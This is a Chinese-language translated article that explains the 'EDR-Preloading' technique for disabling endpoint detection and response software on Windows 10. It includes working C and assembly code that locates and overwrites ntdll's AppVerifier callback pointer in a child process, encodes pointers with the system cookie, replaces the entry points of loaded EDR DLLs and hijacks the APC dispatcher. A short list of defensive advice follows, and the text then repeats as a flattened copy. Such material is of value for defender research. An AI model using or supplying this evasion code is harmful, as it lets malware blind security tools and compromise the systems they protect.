[翻译]-通过EDR预加载来绕过EDR
字数 1253 2025-08-23 18:31:34

EDR预加载绕过技术详解

技术概述

EDR-Preloading是一种通过抢占EDR DLL加载时机来绕过用户层EDR钩子的技术。该技术利用Windows进程初始化过程中的回调机制,在EDR组件加载前执行恶意代码,从而完全阻止EDR运行。

Windows进程加载机制

理解Windows进程初始化流程是掌握此技术的关键:

  1. 新进程创建时,内核将可执行文件和ntdll.dll映射到内存
  2. 线程起始地址设置为ntdll!LdrInitializeThunk()
  3. ntdll!LdrpInitialize()执行:
    • 检查ntdll!LdrpProcessInitialized标志
    • 若为FALSE,调用ntdll!LdrpInitializeProcess()
  4. ntdll!LdrpInitializeProcess()负责:
    • 设置PEB
    • 解析进程导入
    • 加载所需DLL
  5. 最后调用ntdll!ZwTestAlert()执行APC队列
  6. 初始化完成后,调用ntdll!RtlUserThreadStart()执行程序入口点

传统绕过技术及其局限性

早期APC队列(早鸟注入)

  • 原理:在EDR之前将APC排入队列
  • 问题
    • ntdll!NtQueueApcThread()被EDR监控
    • 向暂停进程排队APC行为高度可疑

TLS回调

  • 原理:在ntdll!LdrpInitializeProcess()末尾执行
  • 问题
    • 某些EDR会拦截TLS回调
    • 兼容性问题

EDR-Preloading技术实现

技术基础

利用AppVerifier和ShimEngine接口中的回调函数:

  1. ntdll!g_pfnSE_GetProcAddressForCaller (ShimEngine)
  2. ntdll!AvrfpAPILookupCallbackRoutine (AppVerifier)

这些回调在LdrGetProcedureAddressForCaller()中被调用,保证在EDR加载前执行。

实现步骤

步骤1:查找AppVerifier回调指针

在Windows 10上,这些指针位于ntdll的.mrdata节:

offset+0x00 - ntdll!LdrpMrdataBase
offset+0x08 - ntdll!LdrpKnownDllDirectoryHandle
offset+0x10 - ntdll!AvrfpAPILookupCallbacksEnabled
offset+0x18 - ntdll!AvrfpAPILookupCallbackRoutine

查找代码示例:

ULONG_PTR find_avrfp_address(ULONG_PTR mrdata_base) {
    ULONG_PTR address_ptr = mrdata_base + 0x280;
    ULONG_PTR ldrp_mrdata_base = NULL;
    
    for (int i = 0; i < 10; i++) {
        if (*(ULONG_PTR*)address_ptr == mrdata_base) {
            ldrp_mrdata_base = address_ptr;
            break;
        }
        address_ptr += sizeof(LPVOID);
    }
    
    address_ptr = ldrp_mrdata_base;
    for (int i = 0; i < 10; i++) {
        if (*(ULONG_PTR*)address_ptr == NULL) {
            return address_ptr;
        }
        address_ptr += sizeof(LPVOID);
    }
    return NULL;
}

步骤2:设置回调函数

  1. 加密指针(NTDLL指针使用系统cookie加密):
LPVOID encode_system_ptr(LPVOID ptr) {
    ULONG cookie = *(ULONG*)0x7FFE0330;
    return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}
  1. 写入进程内存:
// 设置回调指针
LPVOID callback_ptr = encode_system_ptr(&My_LdrGetProcedureAddressCallback);
uint8_t bool_true = 1;

WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address+8), &callback_ptr, sizeof(ULONG_PTR), NULL);
WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL);

步骤3:中和EDR

  1. DLL破坏
void DisablePreloadedEdrModules() {
    PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    LIST_ENTRY* list_head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* list_entry = list_head->Flink->Flink;
    
    while (list_entry != list_head) {
        PLDR_DATA_TABLE_ENTRY2 module_entry = CONTAINING_RECORD(list_entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks);
        
        // 检查非系统DLL
        if (SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"ntdll.dll") != 0 &&
            SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernel32.dll") != 0 &&
            SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernelbase.dll") != 0) {
            module_entry->EntryPoint = &EdrParadise; // 替换入口点
        }
        list_entry = list_entry->Flink;
    }
}
  1. 禁用APC调度器
KiUserApcDispatcher PROC
_loop:
    call GetNtContinue
    mov rcx, rsp
    mov rdx, 1
    call rax
    jmp _loop
    ret
KiUserApcDispatcher ENDP
  1. 代理LdrLoadDll调用
NTSTATUS WINAPI LdrLoadDllHook(PWSTR search_path, PULONG dll_characteristics, UNICODE_STRING* dll_name, PVOID* base_address) {
    // 可在此处添加DLL过滤逻辑
    return OriginalLdrLoadDll(search_path, dll_characteristics, dll_name, base_address);
}

技术优势

  1. 不需要依赖直接或间接系统调用
  2. 在EDR加载前执行,完全避免用户层钩子
  3. 可与其他技术结合使用

限制与注意事项

  1. 主要针对Windows 10 64位系统(其他版本需要调整)
  2. 需要精确的内存操作
  3. 回调执行时环境受限(只能调用ntdll函数)
  4. 加载程序锁会限制某些操作

防御建议

对于EDR厂商:

  1. 监控关键回调指针的修改
  2. 验证自身DLL的完整性
  3. 使用更低级别的注入技术
  4. 实现多层次的防护机制

对于系统管理员:

  1. 启用内核层防护
  2. 监控可疑的进程创建模式
  3. 实施应用白名单策略
EDR预加载绕过技术详解 技术概述 EDR-Preloading是一种通过抢占EDR DLL加载时机来绕过用户层EDR钩子的技术。该技术利用Windows进程初始化过程中的回调机制,在EDR组件加载前执行恶意代码,从而完全阻止EDR运行。 Windows进程加载机制 理解Windows进程初始化流程是掌握此技术的关键: 新进程创建时,内核将可执行文件和ntdll.dll映射到内存 线程起始地址设置为 ntdll!LdrInitializeThunk() ntdll!LdrpInitialize() 执行: 检查 ntdll!LdrpProcessInitialized 标志 若为FALSE,调用 ntdll!LdrpInitializeProcess() ntdll!LdrpInitializeProcess() 负责: 设置PEB 解析进程导入 加载所需DLL 最后调用 ntdll!ZwTestAlert() 执行APC队列 初始化完成后,调用 ntdll!RtlUserThreadStart() 执行程序入口点 传统绕过技术及其局限性 早期APC队列(早鸟注入) 原理 :在EDR之前将APC排入队列 问题 : ntdll!NtQueueApcThread() 被EDR监控 向暂停进程排队APC行为高度可疑 TLS回调 原理 :在 ntdll!LdrpInitializeProcess() 末尾执行 问题 : 某些EDR会拦截TLS回调 兼容性问题 EDR-Preloading技术实现 技术基础 利用AppVerifier和ShimEngine接口中的回调函数: ntdll!g_pfnSE_GetProcAddressForCaller (ShimEngine) ntdll!AvrfpAPILookupCallbackRoutine (AppVerifier) 这些回调在 LdrGetProcedureAddressForCaller() 中被调用,保证在EDR加载前执行。 实现步骤 步骤1:查找AppVerifier回调指针 在Windows 10上,这些指针位于ntdll的.mrdata节: 查找代码示例: 步骤2:设置回调函数 加密指针(NTDLL指针使用系统cookie加密): 写入进程内存: 步骤3:中和EDR DLL破坏 : 禁用APC调度器 : 代理LdrLoadDll调用 : 技术优势 不需要依赖直接或间接系统调用 在EDR加载前执行,完全避免用户层钩子 可与其他技术结合使用 限制与注意事项 主要针对Windows 10 64位系统(其他版本需要调整) 需要精确的内存操作 回调执行时环境受限(只能调用ntdll函数) 加载程序锁会限制某些操作 防御建议 对于EDR厂商: 监控关键回调指针的修改 验证自身DLL的完整性 使用更低级别的注入技术 实现多层次的防护机制 对于系统管理员: 启用内核层防护 监控可疑的进程创建模式 实施应用白名单策略